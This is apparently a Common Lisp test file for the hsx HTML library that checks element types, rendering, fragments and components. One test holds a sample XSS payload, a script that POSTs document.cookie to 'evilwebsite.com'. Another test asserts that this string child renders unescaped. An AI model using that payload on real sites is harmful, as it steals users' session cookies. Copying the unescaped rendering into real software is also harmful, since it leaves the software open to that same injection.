(defpackage #:hsx-test/element (:use #:cl #:rove #:hsx/element) (:import-from #:named-readtables #:in-readtable) (:import-from #:mstrings #:mstring-syntax)) (in-package #:hsx-test/element) (in-readtable mstring-syntax) (deftest tag-test (testing "element-class" (ok (typep (create-element :div nil nil) 'tag)) (ok (typep (create-element :html nil nil) 'html-tag)) (ok (typep (create-element :img nil nil) 'self-closing-tag)) (ok (typep (create-element :<> nil nil) 'fragment)) (ok (typep (create-element (lambda ()) nil nil) 'component)) (ok (signals (create-element "div" nil nil)))) (testing "flatten-children" (let* ((elm (create-element :p nil (list "a" nil (list "b" (list nil "c")) (cons "d" "e"))))) (ok (equal (list "a" "b" "c" "d" "e") (element-children elm))))) (testing "empty-element" (ok (string= "<div></div>" (render-to-string (create-element :div nil nil))))) (testing "element-with-props" (ok (string= "<div prop1=\"value1\" prop2></div>" (render-to-string (create-element :div (list :prop1 "value1" :prop2 t :prop3 nil) nil))))) (testing "element-with-children" (ok (string= "<p>foo</p>" (render-to-string (create-element :p nil (list "foo")) :pretty t))) (ok (string= #M"<p> \ <span>foo</span> </p>" (render-to-string (create-element :p nil (list (create-element :span nil (list "foo")))) :pretty t))) (ok (string= #M"<p> \ foo \ <span>bar</span> </p>" (render-to-string (create-element :p nil (list "foo" (create-element :span nil (list "bar")))) :pretty t)))) (testing "element-with-props-and-children" (ok (string= "<p prop1=\"value1\" prop2>foo</p>" (render-to-string (create-element :p (list :prop1 "value1" :prop2 t :prop3 nil) (list "foo")) :pretty t))) (ok (string= #M"<p prop1=\"value1\" prop2> \ foo \ <span>bar</span> </p>" (render-to-string (create-element :p (list :prop1 "value1" :prop2 t :prop3 nil) (list "foo" (create-element :span nil "bar"))) :pretty t)))) (testing "self-closing-tag" (ok (string= "<img src=\"/background.png\">" (render-to-string (create-element :img (list :src "/background.png") nil) :pretty t)))) (testing "fragment" (let ((frg (create-element :<> nil (list (create-element :li nil (list "bar")) (create-element :li nil (list "baz")))))) (ok (string= #M"<li>bar</li> <li>baz</li>" (render-to-string frg :pretty t))) (ok (string= #M"<ul> \ <li>foo</li> \ <li>bar</li> \ <li>baz</li> \ <li>brah</li> </ul>" (render-to-string (create-element :ul nil (list (create-element :li nil (list "foo")) frg (create-element :li nil (list "brah")))) :pretty t))))) (testing "raw-fragment" (ok (string= "<div><script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script></div>" (render-to-string (create-element :div nil (list "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>"))))) (ok (string= "<script>alert('<< Do not embed user-generated contents here! >>')</script>" (render-to-string (create-element :script nil (create-element :raw! nil "alert('<< Do not embed user-generated contents here! >>')")))))) (testing "minify-props-text" (let ((elm (create-element :div '(:x-data "{ open: false, get isOpen() { return this.open }, toggle() { this.open = ! this.open }, }") nil))) (ok (string= (render-to-string elm) "<div x-data=\"{ open: false, get isOpen() { return this.open }, toggle() { this.open = ! this.open }, }\"></div>"))))) (defun comp1 (&key prop children) (create-element :div nil (list prop children))) (defun comp2 (&rest props) (create-element :div nil (list (getf props :prop) (getf props :children)))) (defun comp3 (&rest props &key prop children &allow-other-keys) (create-element :div nil (list prop children (getf props :other-key)))) (deftest component-test (testing "component-accepting-keyword-args" (let ((elm (expand-component (create-element #'comp1 '(:prop "value") (list "child"))))) (ok (eq :div (element-type elm))) (ok (equal (list "value" "child") (element-children elm))))) (testing "component-accepting-property-list" (let ((elm (expand-component (create-element #'comp2 '(:prop "value") (list "child"))))) (ok (eq :div (element-type elm))) (ok (equal (list "value" "child") (element-children elm))))) (testing "component-accepting-keyword-args-and-property-list" (let ((elm (expand-component (create-element #'comp3 '(:prop "value" :other-key "other") (list "child"))))) (ok (eq :div (element-type elm))) (ok (equal (list "value" "child" "other") (element-children elm))))))